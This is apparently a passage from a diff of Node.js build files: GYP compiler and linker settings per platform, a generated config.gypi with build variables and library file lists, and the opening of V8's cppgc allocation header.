'WIN32',
|
||||
# we don't really want VC++ warning us about
|
||||
# how dangerous C functions are...
|
||||
'_CRT_SECURE_NO_DEPRECATE',
|
||||
# ... or that C implementations shouldn't use
|
||||
# POSIX names
|
||||
'_CRT_NONSTDC_NO_DEPRECATE',
|
||||
# Make sure the STL doesn't try to use exceptions
|
||||
'_HAS_EXCEPTIONS=0',
|
||||
'BUILDING_V8_SHARED=1',
|
||||
'BUILDING_UV_SHARED=1',
|
||||
],
|
||||
}],
|
||||
[ 'OS in "linux freebsd openbsd solaris aix os400"', {
|
||||
'cflags': [ '-pthread' ],
|
||||
'ldflags': [ '-pthread' ],
|
||||
}],
|
||||
[ 'OS in "linux freebsd openbsd solaris android aix os400 cloudabi"', {
|
||||
'cflags': [ '-Wall', '-Wextra', '-Wno-unused-parameter', ],
|
||||
'cflags_cc': [ '-fno-rtti', '-fno-exceptions', '-std=gnu++17' ],
|
||||
'defines': [ '__STDC_FORMAT_MACROS' ],
|
||||
'ldflags': [ '-rdynamic' ],
|
||||
'target_conditions': [
|
||||
# The 1990s toolchain on SmartOS can't handle thin archives.
|
||||
['_type=="static_library" and OS=="solaris"', {
|
||||
'standalone_static_library': 1,
|
||||
}],
|
||||
['OS=="openbsd"', {
|
||||
'cflags': [ '-I/usr/local/include' ],
|
||||
'ldflags': [ '-Wl,-z,wxneeded' ],
|
||||
}],
|
||||
['_toolset=="host"', {
|
||||
'conditions': [
|
||||
[ 'host_arch=="ia32"', {
|
||||
'cflags': [ '-m32' ],
|
||||
'ldflags': [ '-m32' ],
|
||||
}],
|
||||
[ 'host_arch=="x64"', {
|
||||
'cflags': [ '-m64' ],
|
||||
'ldflags': [ '-m64' ],
|
||||
}],
|
||||
[ 'host_arch=="ppc" and OS not in "aix os400"', {
|
||||
'cflags': [ '-m32' ],
|
||||
'ldflags': [ '-m32' ],
|
||||
}],
|
||||
[ 'host_arch=="ppc64" and OS not in "aix os400"', {
|
||||
'cflags': [ '-m64', '-mminimal-toc' ],
|
||||
'ldflags': [ '-m64' ],
|
||||
}],
|
||||
[ 'host_arch=="s390x" and OS=="linux"', {
|
||||
'cflags': [ '-m64', '-march=z196' ],
|
||||
'ldflags': [ '-m64', '-march=z196' ],
|
||||
}],
|
||||
],
|
||||
}],
|
||||
['_toolset=="target"', {
|
||||
'conditions': [
|
||||
[ 'target_arch=="ia32"', {
|
||||
'cflags': [ '-m32' ],
|
||||
'ldflags': [ '-m32' ],
|
||||
}],
|
||||
[ 'target_arch=="x64"', {
|
||||
'cflags': [ '-m64' ],
|
||||
'ldflags': [ '-m64' ],
|
||||
}],
|
||||
[ 'target_arch=="ppc" and OS not in "aix os400"', {
|
||||
'cflags': [ '-m32' ],
|
||||
'ldflags': [ '-m32' ],
|
||||
}],
|
||||
[ 'target_arch=="ppc64" and OS not in "aix os400"', {
|
||||
'cflags': [ '-m64', '-mminimal-toc' ],
|
||||
'ldflags': [ '-m64' ],
|
||||
}],
|
||||
[ 'target_arch=="s390x" and OS=="linux"', {
|
||||
'cflags': [ '-m64', '-march=z196' ],
|
||||
'ldflags': [ '-m64', '-march=z196' ],
|
||||
}],
|
||||
],
|
||||
}],
|
||||
],
|
||||
'conditions': [
|
||||
[ 'OS=="solaris"', {
|
||||
'cflags': [ '-pthreads' ],
|
||||
'ldflags': [ '-pthreads' ],
|
||||
'cflags!': [ '-pthread' ],
|
||||
'ldflags!': [ '-pthread' ],
|
||||
}],
|
||||
[ 'node_shared=="true"', {
|
||||
'cflags': [ '-fPIC' ],
|
||||
}],
|
||||
],
|
||||
}],
|
||||
[ 'OS in "aix os400"', {
|
||||
'variables': {
|
||||
# Used to differentiate `AIX` and `OS400`(IBM i).
|
||||
'aix_variant_name': '<!(uname -s)',
|
||||
},
|
||||
'cflags': [ '-maix64', ],
|
||||
'ldflags!': [ '-rdynamic', ],
|
||||
'ldflags': [
|
||||
'-Wl,-bbigtoc',
|
||||
'-maix64',
|
||||
],
|
||||
'conditions': [
|
||||
[ '"<(aix_variant_name)"=="OS400"', { # a.k.a. `IBM i`
|
||||
'ldflags': [
|
||||
'-Wl,-blibpath:/QOpenSys/pkgs/lib:/QOpenSys/usr/lib',
|
||||
'-Wl,-brtl',
|
||||
],
|
||||
}, { # else it's `AIX`
|
||||
# Disable the following compiler warning:
|
||||
#
|
||||
# warning: visibility attribute not supported in this
|
||||
# configuration; ignored [-Wattributes]
|
||||
#
|
||||
# This is gcc complaining about __attribute((visibility("default"))
|
||||
# in static library builds. Legitimate but harmless and it drowns
|
||||
# out more relevant warnings.
|
||||
'cflags': [ '-Wno-attributes' ],
|
||||
'ldflags': [
|
||||
'-Wl,-blibpath:/usr/lib:/lib:/opt/freeware/lib/pthread/ppc64',
|
||||
],
|
||||
}],
|
||||
],
|
||||
}],
|
||||
['OS=="android"', {
|
||||
'target_conditions': [
|
||||
['_toolset=="target"', {
|
||||
'defines': [ '_GLIBCXX_USE_C99_MATH' ],
|
||||
'libraries': [ '-llog' ],
|
||||
}],
|
||||
['_toolset=="host"', {
|
||||
'cflags': [ '-pthread' ],
|
||||
'ldflags': [ '-pthread' ],
|
||||
}],
|
||||
],
|
||||
}],
|
||||
['OS=="mac"', {
|
||||
'defines': ['_DARWIN_USE_64_BIT_INODE=1'],
|
||||
'xcode_settings': {
|
||||
'ALWAYS_SEARCH_USER_PATHS': 'NO',
|
||||
'GCC_CW_ASM_SYNTAX': 'NO', # No -fasm-blocks
|
||||
'GCC_DYNAMIC_NO_PIC': 'NO', # No -mdynamic-no-pic
|
||||
# (Equivalent to -fPIC)
|
||||
'GCC_ENABLE_CPP_EXCEPTIONS': 'NO', # -fno-exceptions
|
||||
'GCC_ENABLE_CPP_RTTI': 'NO', # -fno-rtti
|
||||
'GCC_ENABLE_PASCAL_STRINGS': 'NO', # No -mpascal-strings
|
||||
'PREBINDING': 'NO', # No -Wl,-prebind
|
||||
'MACOSX_DEPLOYMENT_TARGET': '10.15', # -mmacosx-version-min=10.15
|
||||
'USE_HEADERMAP': 'NO',
|
||||
'OTHER_CFLAGS': [
|
||||
'-fno-strict-aliasing',
|
||||
],
|
||||
'WARNING_CFLAGS': [
|
||||
'-Wall',
|
||||
'-Wendif-labels',
|
||||
'-W',
|
||||
'-Wno-unused-parameter',
|
||||
],
|
||||
},
|
||||
'target_conditions': [
|
||||
['_type!="static_library"', {
|
||||
'xcode_settings': {
|
||||
'OTHER_LDFLAGS': [
|
||||
'-Wl,-search_paths_first'
|
||||
],
|
||||
},
|
||||
}],
|
||||
],
|
||||
'conditions': [
|
||||
['target_arch=="ia32"', {
|
||||
'xcode_settings': {'ARCHS': ['i386']},
|
||||
}],
|
||||
['target_arch=="x64"', {
|
||||
'xcode_settings': {'ARCHS': ['x86_64']},
|
||||
}],
|
||||
['target_arch=="arm64"', {
|
||||
'xcode_settings': {
|
||||
'ARCHS': ['arm64'],
|
||||
'OTHER_LDFLAGS!': [
|
||||
'-Wl,-no_pie',
|
||||
],
|
||||
},
|
||||
}],
|
||||
['clang==1', {
|
||||
'xcode_settings': {
|
||||
'GCC_VERSION': 'com.apple.compilers.llvm.clang.1_0',
|
||||
'CLANG_CXX_LANGUAGE_STANDARD': 'gnu++17', # -std=gnu++17
|
||||
'CLANG_CXX_LIBRARY': 'libc++',
|
||||
},
|
||||
}],
|
||||
],
|
||||
}],
|
||||
['OS=="freebsd"', {
|
||||
'ldflags': [
|
||||
'-Wl,--export-dynamic',
|
||||
],
|
||||
}],
|
||||
# if node is built as an executable,
|
||||
# the openssl mechanism for keeping itself "dload"-ed to ensure proper
|
||||
# atexit cleanup does not apply
|
||||
['node_shared_openssl!="true" and node_shared!="true"', {
|
||||
'defines': [
|
||||
# `OPENSSL_NO_PINSHARED` prevents openssl from dload
|
||||
# current node executable,
|
||||
# see https://github.com/nodejs/node/pull/21848
|
||||
# or https://github.com/nodejs/node/issues/27925
|
||||
'OPENSSL_NO_PINSHARED'
|
||||
],
|
||||
}],
|
||||
['node_shared_openssl!="true"', {
|
||||
# `OPENSSL_THREADS` is defined via GYP for openSSL for all architectures.
|
||||
'defines': [
|
||||
'OPENSSL_THREADS',
|
||||
],
|
||||
}],
|
||||
['node_shared_openssl!="true" and openssl_no_asm==1', {
|
||||
'defines': [
|
||||
'OPENSSL_NO_ASM',
|
||||
],
|
||||
}],
|
||||
['OS == "zos"', {
|
||||
'defines': [
|
||||
'_XOPEN_SOURCE_EXTENDED',
|
||||
'_XOPEN_SOURCE=600',
|
||||
'_UNIX03_THREADS',
|
||||
'_UNIX03_WITHDRAWN',
|
||||
'_UNIX03_SOURCE',
|
||||
'_OPEN_SYS_SOCK_IPV6',
|
||||
'_OPEN_SYS_FILE_EXT=1',
|
||||
'_POSIX_SOURCE',
|
||||
'_OPEN_SYS',
|
||||
'_OPEN_SYS_IF_EXT',
|
||||
'_OPEN_SYS_SOCK_IPV6',
|
||||
'_OPEN_MSGQ_EXT',
|
||||
'_LARGE_TIME_API',
|
||||
'_ALL_SOURCE',
|
||||
'_AE_BIMODAL=1',
|
||||
'__IBMCPP_TR1__',
|
||||
'NODE_PLATFORM="os390"',
|
||||
'PATH_MAX=1024',
|
||||
'_ENHANCED_ASCII_EXT=0xFFFFFFFF',
|
||||
'_Export=extern',
|
||||
'__static_assert=static_assert',
|
||||
],
|
||||
'cflags': [
|
||||
'-q64',
|
||||
'-Wc,DLL',
|
||||
'-Wa,GOFF',
|
||||
'-qARCH=10',
|
||||
'-qASCII',
|
||||
'-qTUNE=12',
|
||||
'-qENUM=INT',
|
||||
'-qEXPORTALL',
|
||||
'-qASM',
|
||||
],
|
||||
'cflags_cc': [
|
||||
'-qxclang=-std=c++14',
|
||||
],
|
||||
'ldflags': [
|
||||
'-q64',
|
||||
],
|
||||
# for addons due to v8config.h include of "zos-base.h":
|
||||
'include_dirs': ['<(zoslib_include_dir)'],
|
||||
}],
|
||||
],
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,401 @@
|
||||
# Do not edit. Generated by the configure script.
|
||||
{ 'target_defaults': {'cflags': [], 'default_configuration': 'Release', 'defines': ['NODE_OPENSSL_CONF_NAME=nodejs_conf', 'NODE_OPENSSL_HAS_QUIC', 'ICU_NO_USER_DATA_OVERRIDE'], 'include_dirs': [], 'libraries': []},
|
||||
'variables': { 'asan': 0,
|
||||
'coverage': 'false',
|
||||
'dcheck_always_on': 0,
|
||||
'debug_nghttp2': 'false',
|
||||
'debug_node': 'false',
|
||||
'enable_lto': 'false',
|
||||
'enable_pgo_generate': 'false',
|
||||
'enable_pgo_use': 'false',
|
||||
'error_on_warn': 'false',
|
||||
'force_dynamic_crt': 0,
|
||||
'gas_version': '2.35',
|
||||
'host_arch': 'x64',
|
||||
'icu_data_in': '../../deps/icu-tmp/icudt75l.dat',
|
||||
'icu_endianness': 'l',
|
||||
'icu_gyp_path': 'tools/icu/icu-generic.gyp',
|
||||
'icu_path': 'deps/icu-small',
|
||||
'icu_small': 'false',
|
||||
'icu_ver_major': '75',
|
||||
'is_debug': 0,
|
||||
'libdir': 'lib',
|
||||
'llvm_version': '0.0',
|
||||
'napi_build_version': '9',
|
||||
'node_builtin_shareable_builtins': ['deps/cjs-module-lexer/lexer.js', 'deps/cjs-module-lexer/dist/lexer.js', 'deps/undici/undici.js'],
|
||||
'node_byteorder': 'little',
|
||||
'node_debug_lib': 'false',
|
||||
'node_enable_d8': 'false',
|
||||
'node_enable_v8_vtunejit': 'false',
|
||||
'node_fipsinstall': 'false',
|
||||
'node_install_corepack': 'true',
|
||||
'node_install_npm': 'true',
|
||||
'node_library_files': [ 'lib/_http_agent.js',
|
||||
'lib/_http_client.js',
|
||||
'lib/_http_common.js',
|
||||
'lib/_http_incoming.js',
|
||||
'lib/_http_outgoing.js',
|
||||
'lib/_http_server.js',
|
||||
'lib/_stream_duplex.js',
|
||||
'lib/_stream_passthrough.js',
|
||||
'lib/_stream_readable.js',
|
||||
'lib/_stream_transform.js',
|
||||
'lib/_stream_wrap.js',
|
||||
'lib/_stream_writable.js',
|
||||
'lib/_tls_common.js',
|
||||
'lib/_tls_wrap.js',
|
||||
'lib/assert.js',
|
||||
'lib/assert/strict.js',
|
||||
'lib/async_hooks.js',
|
||||
'lib/buffer.js',
|
||||
'lib/child_process.js',
|
||||
'lib/cluster.js',
|
||||
'lib/console.js',
|
||||
'lib/constants.js',
|
||||
'lib/crypto.js',
|
||||
'lib/dgram.js',
|
||||
'lib/diagnostics_channel.js',
|
||||
'lib/dns.js',
|
||||
'lib/dns/promises.js',
|
||||
'lib/domain.js',
|
||||
'lib/events.js',
|
||||
'lib/fs.js',
|
||||
'lib/fs/promises.js',
|
||||
'lib/http.js',
|
||||
'lib/http2.js',
|
||||
'lib/https.js',
|
||||
'lib/inspector.js',
|
||||
'lib/inspector/promises.js',
|
||||
'lib/internal/abort_controller.js',
|
||||
'lib/internal/assert.js',
|
||||
'lib/internal/assert/assertion_error.js',
|
||||
'lib/internal/assert/calltracker.js',
|
||||
'lib/internal/async_hooks.js',
|
||||
'lib/internal/blob.js',
|
||||
'lib/internal/blocklist.js',
|
||||
'lib/internal/bootstrap/node.js',
|
||||
'lib/internal/bootstrap/realm.js',
|
||||
'lib/internal/bootstrap/shadow_realm.js',
|
||||
'lib/internal/bootstrap/switches/does_not_own_process_state.js',
|
||||
'lib/internal/bootstrap/switches/does_own_process_state.js',
|
||||
'lib/internal/bootstrap/switches/is_main_thread.js',
|
||||
'lib/internal/bootstrap/switches/is_not_main_thread.js',
|
||||
'lib/internal/bootstrap/web/exposed-wildcard.js',
|
||||
'lib/internal/bootstrap/web/exposed-window-or-worker.js',
|
||||
'lib/internal/buffer.js',
|
||||
'lib/internal/child_process.js',
|
||||
'lib/internal/child_process/serialization.js',
|
||||
'lib/internal/cli_table.js',
|
||||
'lib/internal/cluster/child.js',
|
||||
'lib/internal/cluster/primary.js',
|
||||
'lib/internal/cluster/round_robin_handle.js',
|
||||
'lib/internal/cluster/shared_handle.js',
|
||||
'lib/internal/cluster/utils.js',
|
||||
'lib/internal/cluster/worker.js',
|
||||
'lib/internal/console/constructor.js',
|
||||
'lib/internal/console/global.js',
|
||||
'lib/internal/constants.js',
|
||||
'lib/internal/crypto/aes.js',
|
||||
'lib/internal/crypto/certificate.js',
|
||||
'lib/internal/crypto/cfrg.js',
|
||||
'lib/internal/crypto/cipher.js',
|
||||
'lib/internal/crypto/diffiehellman.js',
|
||||
'lib/internal/crypto/ec.js',
|
||||
'lib/internal/crypto/hash.js',
|
||||
'lib/internal/crypto/hashnames.js',
|
||||
'lib/internal/crypto/hkdf.js',
|
||||
'lib/internal/crypto/keygen.js',
|
||||
'lib/internal/crypto/keys.js',
|
||||
'lib/internal/crypto/mac.js',
|
||||
'lib/internal/crypto/pbkdf2.js',
|
||||
'lib/internal/crypto/random.js',
|
||||
'lib/internal/crypto/rsa.js',
|
||||
'lib/internal/crypto/scrypt.js',
|
||||
'lib/internal/crypto/sig.js',
|
||||
'lib/internal/crypto/util.js',
|
||||
'lib/internal/crypto/webcrypto.js',
|
||||
'lib/internal/crypto/webidl.js',
|
||||
'lib/internal/crypto/x509.js',
|
||||
'lib/internal/debugger/inspect.js',
|
||||
'lib/internal/debugger/inspect_client.js',
|
||||
'lib/internal/debugger/inspect_repl.js',
|
||||
'lib/internal/dgram.js',
|
||||
'lib/internal/dns/callback_resolver.js',
|
||||
'lib/internal/dns/promises.js',
|
||||
'lib/internal/dns/utils.js',
|
||||
'lib/internal/encoding.js',
|
||||
'lib/internal/error_serdes.js',
|
||||
'lib/internal/errors.js',
|
||||
'lib/internal/event_target.js',
|
||||
'lib/internal/events/abort_listener.js',
|
||||
'lib/internal/events/symbols.js',
|
||||
'lib/internal/file.js',
|
||||
'lib/internal/fixed_queue.js',
|
||||
'lib/internal/freelist.js',
|
||||
'lib/internal/freeze_intrinsics.js',
|
||||
'lib/internal/fs/cp/cp-sync.js',
|
||||
'lib/internal/fs/cp/cp.js',
|
||||
'lib/internal/fs/dir.js',
|
||||
'lib/internal/fs/promises.js',
|
||||
'lib/internal/fs/read/context.js',
|
||||
'lib/internal/fs/recursive_watch.js',
|
||||
'lib/internal/fs/rimraf.js',
|
||||
'lib/internal/fs/streams.js',
|
||||
'lib/internal/fs/sync_write_stream.js',
|
||||
'lib/internal/fs/utils.js',
|
||||
'lib/internal/fs/watchers.js',
|
||||
'lib/internal/heap_utils.js',
|
||||
'lib/internal/histogram.js',
|
||||
'lib/internal/http.js',
|
||||
'lib/internal/http2/compat.js',
|
||||
'lib/internal/http2/core.js',
|
||||
'lib/internal/http2/util.js',
|
||||
'lib/internal/idna.js',
|
||||
'lib/internal/inspector_async_hook.js',
|
||||
'lib/internal/js_stream_socket.js',
|
||||
'lib/internal/legacy/processbinding.js',
|
||||
'lib/internal/linkedlist.js',
|
||||
'lib/internal/main/check_syntax.js',
|
||||
'lib/internal/main/embedding.js',
|
||||
'lib/internal/main/eval_stdin.js',
|
||||
'lib/internal/main/eval_string.js',
|
||||
'lib/internal/main/inspect.js',
|
||||
'lib/internal/main/mksnapshot.js',
|
||||
'lib/internal/main/print_help.js',
|
||||
'lib/internal/main/prof_process.js',
|
||||
'lib/internal/main/repl.js',
|
||||
'lib/internal/main/run_main_module.js',
|
||||
'lib/internal/main/test_runner.js',
|
||||
'lib/internal/main/watch_mode.js',
|
||||
'lib/internal/main/worker_thread.js',
|
||||
'lib/internal/mime.js',
|
||||
'lib/internal/modules/cjs/loader.js',
|
||||
'lib/internal/modules/esm/assert.js',
|
||||
'lib/internal/modules/esm/create_dynamic_module.js',
|
||||
'lib/internal/modules/esm/fetch_module.js',
|
||||
'lib/internal/modules/esm/formats.js',
|
||||
'lib/internal/modules/esm/get_format.js',
|
||||
'lib/internal/modules/esm/hooks.js',
|
||||
'lib/internal/modules/esm/initialize_import_meta.js',
|
||||
'lib/internal/modules/esm/load.js',
|
||||
'lib/internal/modules/esm/loader.js',
|
||||
'lib/internal/modules/esm/module_job.js',
|
||||
'lib/internal/modules/esm/module_map.js',
|
||||
'lib/internal/modules/esm/package_config.js',
|
||||
'lib/internal/modules/esm/resolve.js',
|
||||
'lib/internal/modules/esm/shared_constants.js',
|
||||
'lib/internal/modules/esm/translators.js',
|
||||
'lib/internal/modules/esm/utils.js',
|
||||
'lib/internal/modules/esm/worker.js',
|
||||
'lib/internal/modules/helpers.js',
|
||||
'lib/internal/modules/package_json_reader.js',
|
||||
'lib/internal/modules/run_main.js',
|
||||
'lib/internal/navigator.js',
|
||||
'lib/internal/net.js',
|
||||
'lib/internal/options.js',
|
||||
'lib/internal/per_context/domexception.js',
|
||||
'lib/internal/per_context/messageport.js',
|
||||
'lib/internal/per_context/primordials.js',
|
||||
'lib/internal/perf/event_loop_delay.js',
|
||||
'lib/internal/perf/event_loop_utilization.js',
|
||||
'lib/internal/perf/nodetiming.js',
|
||||
'lib/internal/perf/observe.js',
|
||||
'lib/internal/perf/performance.js',
|
||||
'lib/internal/perf/performance_entry.js',
|
||||
'lib/internal/perf/resource_timing.js',
|
||||
'lib/internal/perf/timerify.js',
|
||||
'lib/internal/perf/usertiming.js',
|
||||
'lib/internal/perf/utils.js',
|
||||
'lib/internal/policy/manifest.js',
|
||||
'lib/internal/policy/sri.js',
|
||||
'lib/internal/priority_queue.js',
|
||||
'lib/internal/process/execution.js',
|
||||
'lib/internal/process/per_thread.js',
|
||||
'lib/internal/process/permission.js',
|
||||
'lib/internal/process/policy.js',
|
||||
'lib/internal/process/pre_execution.js',
|
||||
'lib/internal/process/promises.js',
|
||||
'lib/internal/process/report.js',
|
||||
'lib/internal/process/signal.js',
|
||||
'lib/internal/process/task_queues.js',
|
||||
'lib/internal/process/warning.js',
|
||||
'lib/internal/process/worker_thread_only.js',
|
||||
'lib/internal/promise_hooks.js',
|
||||
'lib/internal/querystring.js',
|
||||
'lib/internal/readline/callbacks.js',
|
||||
'lib/internal/readline/emitKeypressEvents.js',
|
||||
'lib/internal/readline/interface.js',
|
||||
'lib/internal/readline/promises.js',
|
||||
'lib/internal/readline/utils.js',
|
||||
'lib/internal/repl.js',
|
||||
'lib/internal/repl/await.js',
|
||||
'lib/internal/repl/history.js',
|
||||
'lib/internal/repl/utils.js',
|
||||
'lib/internal/socket_list.js',
|
||||
'lib/internal/socketaddress.js',
|
||||
'lib/internal/source_map/prepare_stack_trace.js',
|
||||
'lib/internal/source_map/source_map.js',
|
||||
'lib/internal/source_map/source_map_cache.js',
|
||||
'lib/internal/stream_base_commons.js',
|
||||
'lib/internal/streams/add-abort-signal.js',
|
||||
'lib/internal/streams/compose.js',
|
||||
'lib/internal/streams/destroy.js',
|
||||
'lib/internal/streams/duplex.js',
|
||||
'lib/internal/streams/duplexify.js',
|
||||
'lib/internal/streams/end-of-stream.js',
|
||||
'lib/internal/streams/from.js',
|
||||
'lib/internal/streams/lazy_transform.js',
|
||||
'lib/internal/streams/legacy.js',
|
||||
'lib/internal/streams/operators.js',
|
||||
'lib/internal/streams/passthrough.js',
|
||||
'lib/internal/streams/pipeline.js',
|
||||
'lib/internal/streams/readable.js',
|
||||
'lib/internal/streams/state.js',
|
||||
'lib/internal/streams/transform.js',
|
||||
'lib/internal/streams/utils.js',
|
||||
'lib/internal/streams/writable.js',
|
||||
'lib/internal/test/binding.js',
|
||||
'lib/internal/test/transfer.js',
|
||||
'lib/internal/test_runner/coverage.js',
|
||||
'lib/internal/test_runner/harness.js',
|
||||
'lib/internal/test_runner/mock/mock.js',
|
||||
'lib/internal/test_runner/mock/mock_timers.js',
|
||||
'lib/internal/test_runner/reporter/dot.js',
|
||||
'lib/internal/test_runner/reporter/junit.js',
|
||||
'lib/internal/test_runner/reporter/lcov.js',
|
||||
'lib/internal/test_runner/reporter/spec.js',
|
||||
'lib/internal/test_runner/reporter/tap.js',
|
||||
'lib/internal/test_runner/reporter/v8-serializer.js',
|
||||
'lib/internal/test_runner/runner.js',
|
||||
'lib/internal/test_runner/test.js',
|
||||
'lib/internal/test_runner/tests_stream.js',
|
||||
'lib/internal/test_runner/utils.js',
|
||||
'lib/internal/timers.js',
|
||||
'lib/internal/tls/secure-context.js',
|
||||
'lib/internal/tls/secure-pair.js',
|
||||
'lib/internal/trace_events_async_hooks.js',
|
||||
'lib/internal/tty.js',
|
||||
'lib/internal/url.js',
|
||||
'lib/internal/util.js',
|
||||
'lib/internal/util/colors.js',
|
||||
'lib/internal/util/comparisons.js',
|
||||
'lib/internal/util/debuglog.js',
|
||||
'lib/internal/util/embedding.js',
|
||||
'lib/internal/util/inspect.js',
|
||||
'lib/internal/util/inspector.js',
|
||||
'lib/internal/util/iterable_weak_map.js',
|
||||
'lib/internal/util/parse_args/parse_args.js',
|
||||
'lib/internal/util/parse_args/utils.js',
|
||||
'lib/internal/util/types.js',
|
||||
'lib/internal/v8/startup_snapshot.js',
|
||||
'lib/internal/v8_prof_polyfill.js',
|
||||
'lib/internal/v8_prof_processor.js',
|
||||
'lib/internal/validators.js',
|
||||
'lib/internal/vm.js',
|
||||
'lib/internal/vm/module.js',
|
||||
'lib/internal/wasm_web_api.js',
|
||||
'lib/internal/watch_mode/files_watcher.js',
|
||||
'lib/internal/watchdog.js',
|
||||
'lib/internal/webidl.js',
|
||||
'lib/internal/webstreams/adapters.js',
|
||||
'lib/internal/webstreams/compression.js',
|
||||
'lib/internal/webstreams/encoding.js',
|
||||
'lib/internal/webstreams/queuingstrategies.js',
|
||||
'lib/internal/webstreams/readablestream.js',
|
||||
'lib/internal/webstreams/transfer.js',
|
||||
'lib/internal/webstreams/transformstream.js',
|
||||
'lib/internal/webstreams/util.js',
|
||||
'lib/internal/webstreams/writablestream.js',
|
||||
'lib/internal/worker.js',
|
||||
'lib/internal/worker/io.js',
|
||||
'lib/internal/worker/js_transferable.js',
|
||||
'lib/module.js',
|
||||
'lib/net.js',
|
||||
'lib/os.js',
|
||||
'lib/path.js',
|
||||
'lib/path/posix.js',
|
||||
'lib/path/win32.js',
|
||||
'lib/perf_hooks.js',
|
||||
'lib/process.js',
|
||||
'lib/punycode.js',
|
||||
'lib/querystring.js',
|
||||
'lib/readline.js',
|
||||
'lib/readline/promises.js',
|
||||
'lib/repl.js',
|
||||
'lib/sea.js',
|
||||
'lib/stream.js',
|
||||
'lib/stream/consumers.js',
|
||||
'lib/stream/promises.js',
|
||||
'lib/stream/web.js',
|
||||
'lib/string_decoder.js',
|
||||
'lib/sys.js',
|
||||
'lib/test.js',
|
||||
'lib/test/reporters.js',
|
||||
'lib/timers.js',
|
||||
'lib/timers/promises.js',
|
||||
'lib/tls.js',
|
||||
'lib/trace_events.js',
|
||||
'lib/tty.js',
|
||||
'lib/url.js',
|
||||
'lib/util.js',
|
||||
'lib/util/types.js',
|
||||
'lib/v8.js',
|
||||
'lib/vm.js',
|
||||
'lib/wasi.js',
|
||||
'lib/worker_threads.js',
|
||||
'lib/zlib.js'],
|
||||
'node_module_version': 115,
|
||||
'node_no_browser_globals': 'false',
|
||||
'node_prefix': '/',
|
||||
'node_release_urlbase': 'https://nodejs.org/download/release/',
|
||||
'node_section_ordering_info': '',
|
||||
'node_shared': 'false',
|
||||
'node_shared_brotli': 'false',
|
||||
'node_shared_cares': 'false',
|
||||
'node_shared_http_parser': 'false',
|
||||
'node_shared_libuv': 'false',
|
||||
'node_shared_nghttp2': 'false',
|
||||
'node_shared_nghttp3': 'false',
|
||||
'node_shared_ngtcp2': 'false',
|
||||
'node_shared_openssl': 'false',
|
||||
'node_shared_zlib': 'false',
|
||||
'node_tag': '',
|
||||
'node_target_type': 'executable',
|
||||
'node_use_bundled_v8': 'true',
|
||||
'node_use_node_code_cache': 'true',
|
||||
'node_use_node_snapshot': 'true',
|
||||
'node_use_openssl': 'true',
|
||||
'node_use_v8_platform': 'true',
|
||||
'node_with_ltcg': 'false',
|
||||
'node_without_node_options': 'false',
|
||||
'node_write_snapshot_as_array_literals': 'false',
|
||||
'openssl_is_fips': 'false',
|
||||
'openssl_quic': 'true',
|
||||
'ossfuzz': 'false',
|
||||
'shlib_suffix': 'so.115',
|
||||
'single_executable_application': 'true',
|
||||
'target_arch': 'x64',
|
||||
'ubsan': 0,
|
||||
'use_prefix_to_find_headers': 'false',
|
||||
'v8_enable_31bit_smis_on_64bit_arch': 0,
|
||||
'v8_enable_extensible_ro_snapshot': 0,
|
||||
'v8_enable_gdbjit': 0,
|
||||
'v8_enable_hugepage': 0,
|
||||
'v8_enable_i18n_support': 1,
|
||||
'v8_enable_inspector': 1,
|
||||
'v8_enable_javascript_promise_hooks': 1,
|
||||
'v8_enable_lite_mode': 0,
|
||||
'v8_enable_maglev': 0,
|
||||
'v8_enable_object_print': 1,
|
||||
'v8_enable_pointer_compression': 0,
|
||||
'v8_enable_shared_ro_heap': 1,
|
||||
'v8_enable_short_builtin_calls': 1,
|
||||
'v8_enable_v8_checks': 0,
|
||||
'v8_enable_webassembly': 1,
|
||||
'v8_no_strict_aliasing': 1,
|
||||
'v8_optimized_debug': 1,
|
||||
'v8_promise_internal_field_count': 1,
|
||||
'v8_random_seed': 0,
|
||||
'v8_trace_maps': 0,
|
||||
'v8_use_siphash': 1,
|
||||
'want_separate_host_toolset': 0}}
|
||||
@@ -0,0 +1,310 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_ALLOCATION_H_
|
||||
#define INCLUDE_CPPGC_ALLOCATION_H_
|
||||
|
||||
#include <atomic>
|
||||
#include <cstddef>
|
||||
#include <cstdint>
|
||||
#include <new>
|
||||
#include <type_traits>
|
||||
#include <utility>
|
||||
|
||||
#include "cppgc/custom-space.h"
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/internal/gc-info.h"
|
||||
#include "cppgc/type-traits.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
#if defined(__has_attribute)
|
||||
#if __has_attribute(assume_aligned)
|
||||
#define CPPGC_DEFAULT_ALIGNED \
|
||||
__attribute__((assume_aligned(api_constants::kDefaultAlignment)))
|
||||
#define CPPGC_DOUBLE_WORD_ALIGNED \
|
||||
__attribute__((assume_aligned(2 * api_constants::kDefaultAlignment)))
|
||||
#endif // __has_attribute(assume_aligned)
|
||||
#endif // defined(__has_attribute)
|
||||
|
||||
#if !defined(CPPGC_DEFAULT_ALIGNED)
|
||||
#define CPPGC_DEFAULT_ALIGNED
|
||||
#endif
|
||||
|
||||
#if !defined(CPPGC_DOUBLE_WORD_ALIGNED)
|
||||
#define CPPGC_DOUBLE_WORD_ALIGNED
|
||||
#endif
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
/**
|
||||
* AllocationHandle is used to allocate garbage-collected objects.
|
||||
*/
|
||||
class AllocationHandle;
|
||||
|
||||
namespace internal {
|
||||
|
||||
// Similar to C++17 std::align_val_t;
|
||||
enum class AlignVal : size_t {};
|
||||
|
||||
class V8_EXPORT MakeGarbageCollectedTraitInternal {
|
||||
protected:
|
||||
static inline void MarkObjectAsFullyConstructed(const void* payload) {
|
||||
// See api_constants for an explanation of the constants.
|
||||
std::atomic<uint16_t>* atomic_mutable_bitfield =
|
||||
reinterpret_cast<std::atomic<uint16_t>*>(
|
||||
const_cast<uint16_t*>(reinterpret_cast<const uint16_t*>(
|
||||
reinterpret_cast<const uint8_t*>(payload) -
|
||||
api_constants::kFullyConstructedBitFieldOffsetFromPayload)));
|
||||
// It's safe to split use load+store here (instead of a read-modify-write
|
||||
// operation), since it's guaranteed that this 16-bit bitfield is only
|
||||
// modified by a single thread. This is cheaper in terms of code bloat (on
|
||||
// ARM) and performance.
|
||||
